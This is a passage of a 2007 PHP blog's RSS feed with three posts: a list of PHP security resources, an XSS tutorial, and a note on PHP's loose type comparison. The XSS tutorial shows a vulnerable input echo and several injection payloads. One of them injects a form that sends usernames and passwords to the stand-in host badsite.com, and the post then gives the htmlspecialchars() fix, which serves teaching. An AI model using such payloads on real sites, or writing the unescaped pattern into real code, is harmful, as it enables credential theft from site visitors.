<p>The founder of the PHP Security Consortium is <a href="http://shiflett.org/"  title="Chris Shiflett">Chris Shiflett</a>, who has published a few books (including <a href="http://phpsecurity.org/"  title="Essential PHP Security">Essential PHP Security</a>). He, of course, also has his own website where you will find the <a href="http://shiflett.org/blog"  title="PHP &#038; Web Application Security Blog">PHP &#038; Web Application Security Blog</a> along with numerous <a href="http://shiflett.org/articles"  title="shiflett.org: Articles">articles</a>. While gathering the links for this post, I found an excellent article about XSS (<a href="http://shiflett.org/articles/foiling-cross-site-attacks"  title="shiflett.org: Foiling Cross-Site Attacks">Foiling Cross-Site Attacks</a>).</p>
<p>Another well-known PHP security expert is <a href="http://ilia.ws/"  title="Ilia Alshanetsky">Ilia Alshanetsky</a>, creator of <a href="http://fudforum.org/forum/"  title="FUDforum">FUDforum</a>. He has published <a href="http://www.phparch.com/pgps" >php|architect&#8217;s Guide to PHP Security</a>, and runs his own <a href="http://ilia.ws/"  title="Ilia Alshanetsky">blog</a>.</p>
<p>If you haven&#8217;t yet heard about the <a href="http://www.hardened-php.net/"  title="Hardened-PHP Project">Hardened-PHP Project</a>, it is well worth checking out. There you will find <a href="http://www.hardened-php.net/suhosin.127.html"  title="Hardened-PHP Project: Suhosin">Suhosin</a>, an advanced protection system for PHP installations. Also the <a href="http://www.hardened-php.net/hardening_patch.14.html"  title="Hardened-PHP Project: Hardening patch">Hardening patch</a>, a patchset that adds security hardening features to PHP to protect your servers on the one hand against a number of well known problems in PHP applications and on the other hand against potential unknown vulnerabilities within those applications or the PHP core itself. This is also the team that brought us the <a href="http://php-security.org/"  title="Month of PHP Bugs">Month of PHP Bugs</a> in March &#8217;07.</p>
<p>An outspoken member of the Hardened-PHP Project is Stefan Esser, formerly a member of the php.net&#8217;s Security Response Team. Stefen Esser used to have the most active PHP security blog (<a href="http://blog.php-security.org/"  title="PHP Security Blog">PHP Security Blog</a>), but for unknown reasons the blog has not been updated for several months.</p>
<p>I know there are numerous other PHP security resources on the net, but I am hoping that these links will help get you started on finding quality PHP security resources. If anyone has other sources which you frequently use please post the URL in a comment.</p>

                            <div id="aspdf">
                                <a href="http://albertfama.com/wp-content/plugins/as-pdf/generate.php?post=38">
                                    <span>&nbsp;</span>
                                </a>
                            </div>
                        ]]></content:encoded>
			<wfw:commentRss>http://albertfama.com/php/security-resources/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Simple XSS Vulnerability</title>
		<link>http://albertfama.com/php/simple-xss-vulnerability/</link>
		<comments>http://albertfama.com/php/simple-xss-vulnerability/#comments</comments>
		<pubDate>Tue, 13 Nov 2007 21:18:04 +0000</pubDate>
		<dc:creator>Albert Fama</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[documentation]]></category>
		<category><![CDATA[validation]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://obnexus.net/?p=37</guid>
		<description><![CDATA[I was recently taking a small quiz in PHP as part of a job interview (by the way if anyone knows of a job opening for a telecommuting contractor, please let me know). One of the questions posed contained this piece of code which has been slightly modified for our use. &#60;input type="text" name="order" value="&#60;?php&#160;echo&#160;$_POST['order'];&#160;?&#62;" [...]]]></description>
			<content:encoded><![CDATA[<p>I was recently taking a small quiz in PHP as part of a job interview (by the way if anyone knows of a job opening for a telecommuting contractor, please let me know). One of the questions posed contained this piece of code which has been slightly modified for our use.</p>
<pre name="code" class="html">
&lt;input type="text" name="order" value="&lt;?php&nbsp;echo&nbsp;$_POST['order'];&nbsp;?&gt;" /&gt;
</pre>
<p>Basically the question was: What is wrong with this code? I didn&#8217;t really think much of it, because it is a classic example of an XSS vulnerability. After submitting the quiz, I was given a phone interview in which I learned that no one else was able to pick out the the XSS vulnerability. To be fair to the others interviewed I do not know what their qualifications were or how much experience they have had with PHP. </p>
<p>Anyway, if you want to write code for the internet you need to be able to pick out these simple vulnerabilities and understand how they are exploited.  It does not matter if you are just coding for your own website or getting paid, security holes effect not only the website but more importantly your visitors.</p>
<p>OK, so how is this code exploited? I assume the coders who do not see the vulnerability assume that even if the value contains HTML, JavaScript, or whatever it will simply be printed into the text box. For example if the value provided is: </p>
<p>&lt;em&gt;hello&lt;/em&gt; </p>
<p>When the form is submitted the code will simply print: </p>
<p>&lt;em&gt;hello&lt;/em&gt; </p>
<p>in the text box. </p>
<p>This is true, but the problem is; what happens when someone enters: </p>
<p>watch it grow&quot; size=&quot;100</p>
<p>When this value is printed in the text box, the browser &#8216;sees&#8217; the quote following: <strong>watch it grow</strong> and ends the &#8216;value&#8217; attribute. The browser then adds a &#8216;size&#8217; attribute to the input tag, whose value is 100. Basically the code interpreted by the browser looks like this:</p>
<pre name="code" class="html">
&lt;input type="text" name="order" value="watch it grow&quot; size=&quot;100" /&gt;
</pre>
<p>Now we know that simply adding a &#8221; (quote) will end the value attribute and any number of additional attributes can be added by the user. So lets make a more interactive value and add some JavaScript. In the text box we can add:</p>
<p>click here&#8221; onclick=&#8221;alert(&#8216;hello&#8217;);</p>
<p>Now the code interpreted by the browser looks like this:</p>
<pre name="code" class="html">
&lt;input type="text" name="order" value="click here" onclick="alert('hello');" /&gt;
</pre>
<p>After the form is submitted the value in the text box reads: <strong>click here</strong>. When the user then clicks the text box the JavaScript will fire and an alert will appear which reads: &#8216;hello&#8217;.</p>
<p>Taking this exploit one step further, with one final example.  The hack is not limited to simply adding attributes to the input tag (although in most cases this is all someone needs to do to accomplish their task). If we wanted to also add extra HTML, or a full blown JavaScript, all that needs to be done is to end the &#8216;value&#8217; attribute with the &#8221; (quote) and then add the end of the input tag: /&gt; and presto we are out of the input tag and free to add anything; such as a new form which POSTS to a different website. Let&#8217;s add:</p>
<pre name="code" class="html">
Fill out form completely" disabled/&gt;&lt;/form&gt;&lt;form method="POST" action="http://badsite.com"&gt;Username: &lt;input type="text" name="username"&gt;&lt;br/&gt;Password:&lt;input type="password" name="user_pass"&gt;&lt;br/&gt;&lt;input type="hidden" name="end_input" value="
</pre>
<p>With this code we start with: Fill out form completely&#8221;<br />
The &#8221; (quote) following the word &#8216;completely&#8217; will end the &#8216;value&#8217; attribute. </p>
<p>We then place: disabled/&gt;<br />
This will disable the &#8220;order&#8221; input and end the tag, now we are in the realm of adding HTML. </p>
<p>Next by adding: &lt;/form&gt;<br />
We have ended the form, and are able to create something new.</p>
<p>As you can see we have added our own form which submits the user&#8217;s values to a different website: badsite.com. This code in essence takes control of the original submit button, because by adding the new form the submit button submits all values wherever we like.</p>
<p>To get a clear picture, after the form is submitted this is the code which is rendered by the browser (formatted for ease of read):</p>
<pre name="code" class="html">
&nbsp;&nbsp;&lt;input type="text" name="order" value="Fill out form completely" disabled/&gt;
&lt;/form&gt;
&lt;form method="POST" action="http://badsite.com"&gt;
&nbsp;&nbsp;Username:
&nbsp;&nbsp;&lt;input type="text" name="username"/&gt;
&nbsp;&nbsp;&lt;br /&gt;
&nbsp;&nbsp;Password:
&nbsp;&nbsp;&lt;input type="password" name="user_pass"/&gt;
&nbsp;&nbsp;&lt;br /&gt;
&nbsp;&nbsp;&lt;input type="hidden" value=""/&gt;
</pre>
<p>Hopefully you now see that this is an extremely powerful exploit which needs to be addressed. Wait, I know what your thinking; with this type of exploit the only user effected is the one submitting the form in the first place. This is simply <strong><em>NOT</em></strong> true, but you will have to do the research yourself if you still don&#8217;t believe that this is a security hole (or you have ideas of cracking a few sites. <img src='http://albertfama.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  )</p>
<p>So how can we possibly stop this type of attack? Actually it is really simple, PHP provides a built-in function: <a href="http://us.php.net/manual/en/function.htmlspecialchars.php"  title="PHP Manual: htmlspecialchars()">htmlspecialchars()</a>.</p>
<p><a href="http://us.php.net/manual/en/function.htmlspecialchars.php"  title="PHP Manual: htmlspecialchars()">htmlspecialchars()</a> converts special characters to HTML entities, rendering all of our examples useless. So our original piece of code would look like this:</p>
<pre name="code" class="html">
&lt;input type="text" name="order" value=" &lt;?php&nbsp;echo&nbsp;htmlspecialchars($_POST['order']);&nbsp;?&gt; " /&gt;
</pre>
<p>This is only one way to &#8216;fix&#8217; the problem and may not work in all situations; some other methods of preventing an XSS attack are:</p>
<ul>
<li>Use an exclusion approach with <a href="http://us2.php.net/strip_tags"  title="PHP Manual: strip_tags()">strip_tags()</a>.</li>
<li>Use regular expressions to filter any data which may not have been caught by the built-in functions.</li>
<li>Use filtration methods on all external data including: database and $_SERVER data. Basically any data which does not originate from inside the script.</li>
</ul>
<p>I believe the best defense is a combination of a few different strategies.</p>
<p>XSS is a huge topic and this only scratches the surface. If you want to find more information use your favorite search engine and search the phrase: &#8220;PHP XSS exploits tutorials&#8221;. Then read until your so paranoid that you want to take down your website immediately and fix all the holes.</p>

                            <div id="aspdf">
                                <a href="http://albertfama.com/wp-content/plugins/as-pdf/generate.php?post=37">
                                    <span>&nbsp;</span>
                                </a>
                            </div>
                        ]]></content:encoded>
			<wfw:commentRss>http://albertfama.com/php/simple-xss-vulnerability/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>More on Types&#8230;</title>
		<link>http://albertfama.com/php/more-on-types/</link>
		<comments>http://albertfama.com/php/more-on-types/#comments</comments>
		<pubDate>Fri, 02 Nov 2007 21:00:09 +0000</pubDate>
		<dc:creator>Albert Fama</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[Types]]></category>
		<category><![CDATA[Variables]]></category>
		<category><![CDATA[variable types]]></category>

		<guid isPermaLink="false">http://obnexus.net/?p=30</guid>
		<description><![CDATA[Since I have neglected my blog this week I decided to write a small continuation of the discussion on Types in PHP. I was helping a fellow coder yesterday, and he was having problems with a simple comparison statement. The situation he found himself in was this: A $_POST value could either be 0 (zero) [...]]]></description>
			<content:encoded><![CDATA[<p>Since I have neglected my blog this week I decided to write a small continuation of the discussion on <a href="/php/variable-types-why-care/" title="albertfama.com: Variable Types - Why Care?">Types in PHP</a>.</p>
<p>I was helping a fellow coder yesterday, and he was having problems with a simple comparison statement. The situation he found himself in was this: </p>
<p>A $_POST value could either be 0 (zero) or a text string. If  incoming value was 0 (zero) that meant a new record needed to be inserted in the database, if it was a text string then the record already existed in the database and needed to be updated. Consequently he wrote his comparison statement like this:</p>
<pre name="code" class="php">&lt;?php
&nbsp;
if ($_POST[&quot;id&quot;] == 0) {
&nbsp;&nbsp;&nbsp;&nbsp;//insert db record
}
else {
&nbsp;&nbsp;&nbsp;&nbsp;//update db record
}
&nbsp;
?>
</pre>
<p>Everything looked fine to him, but no matter what value was passed in the $_POST variable the comparison statement evaluated to TRUE, meaning a new record was inserted into the database.</p>
<p>If you want to check it out yourself run this code:</p>
<pre name="code" class="php">&lt;?php
&nbsp;
$_POST[&quot;id&quot;] = &quot;0&quot;;
&nbsp;
if ($_POST[&quot;id&quot;] == 0) {
&nbsp;&nbsp;&nbsp;&nbsp;echo &quot;insert db record / &quot;;
}
else {
&nbsp;&nbsp;&nbsp;&nbsp;echo &quot;update db record / &quot;;
}
&nbsp;
$_POST[&quot;id&quot;] = &quot;string of text&quot;;
if ($_POST[&quot;id&quot;] == 0) {
&nbsp;&nbsp;&nbsp;&nbsp;echo &quot;insert db record&quot;;
}
else {
&nbsp;&nbsp;&nbsp;&nbsp;echo &quot;update db record&quot;;
}
&nbsp;
?></pre>
<p>If you run the code above it will print: &#8216;insert db record / insert db record&#8217;.</p>
<p>Now this is a <em>bad</em> comparision to begin with, since all values coming from $_POST are a string of text; but that was not the problem he was experiencing. </p>
<p>Why does &#8220;string of text&#8221; equal zero in the second comparision statement?&#8230;. because of TYPES, of course. </p>
<p>In the both comparison statements we are comparing a string and an integer, since we did not use the Identical comparison operator (===), PHP converts the string to an integer before making the comparison. This means it is the same as casting the string as an integer then making the comparison; such as:</p>
<pre name="code" class="php">&lt;?php
&nbsp;
$_POST[&quot;id&quot;] = &quot;string of text&quot;;
$_POST[&quot;id&quot;] = (int)$_POST[&quot;id&quot;];
&nbsp;
if ($_POST[&quot;id&quot;] == 0) {
&nbsp;&nbsp;&nbsp;&nbsp;echo &quot;insert db record&quot;;
}
else {
&nbsp;&nbsp;&nbsp;&nbsp;echo &quot;update db record&quot;;
}
&nbsp;
?>
</pre>
<p>When casting &#8220;string of text&#8221; as an integer &#8220;string of text&#8221; becomes 0 (zero). Check it out:</p>
<pre name="code" class="php">&lt;?php
&nbsp;
$_POST[&quot;id&quot;] = &quot;string of text&quot;;
$_POST[&quot;id&quot;] = (int)$_POST[&quot;id&quot;];
&nbsp;
var_dump($_POST[&quot;id&quot;]);
&nbsp;
?>
</pre>
<p>The above code will print: &#8220;int(0)&#8221;.</p>
<p>So how do we get this comparison to evaluate as intended? We cannot use the Identical (===) comparison operator, because as I said before, everything coming from $_POST is a string. This means we would have the same problem in reverse. The comparison would always evaluate to FALSE, and it would attempt to update records that do not exist. What we need is for PHP to evaluate both operands as strings, this can be accomplished two ways. Either by placing quotes around the 0 (zero) making it a string, or casting the 0 (zero) as a string. Such as:</p>
<pre name="code" class="php">&lt;?php
&nbsp;
if ($_POST[&quot;id&quot;] == &quot;0&quot;) {
&nbsp;&nbsp;&nbsp;&nbsp;//insert db record
}
else {
&nbsp;&nbsp;&nbsp;&nbsp;//update db record
}
&nbsp;
if ($_POST[&quot;id&quot;] == (string)0) {
&nbsp;&nbsp;&nbsp;&nbsp;//insert db record
}
else {
&nbsp;&nbsp;&nbsp;&nbsp;//update db record
}
&nbsp;
?>
</pre>
<p>Personally I think the first example is more appropriate, if you want to compare 0 (zero) as a string just write it as a string. I simply provided the casting example because we have previously <a href="/php/variable-types-why-care/#casting" title="albertfama.com: Variable Types - Why Care? - casting">discussed casting</a>.</p>
<p>If you would like to know more about Types in PHP you can read my previous post: <a href="/php/variable-types-why-care/" title="albertfama.com: Variable Types - Why Care?">Variable Types &#8211; Why Care?</a> and follow the links at the bottom of the article.</p>

                            <div id="aspdf">
                                <a href="http://albertfama.com/wp-content/plugins/as-pdf/generate.php?post=30">
                                    <span>&nbsp;</span>
                                </a>
                            </div>
                        ]]></content:encoded>
			<wfw:commentRss>http://albertfama.com/php/more-on-types/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

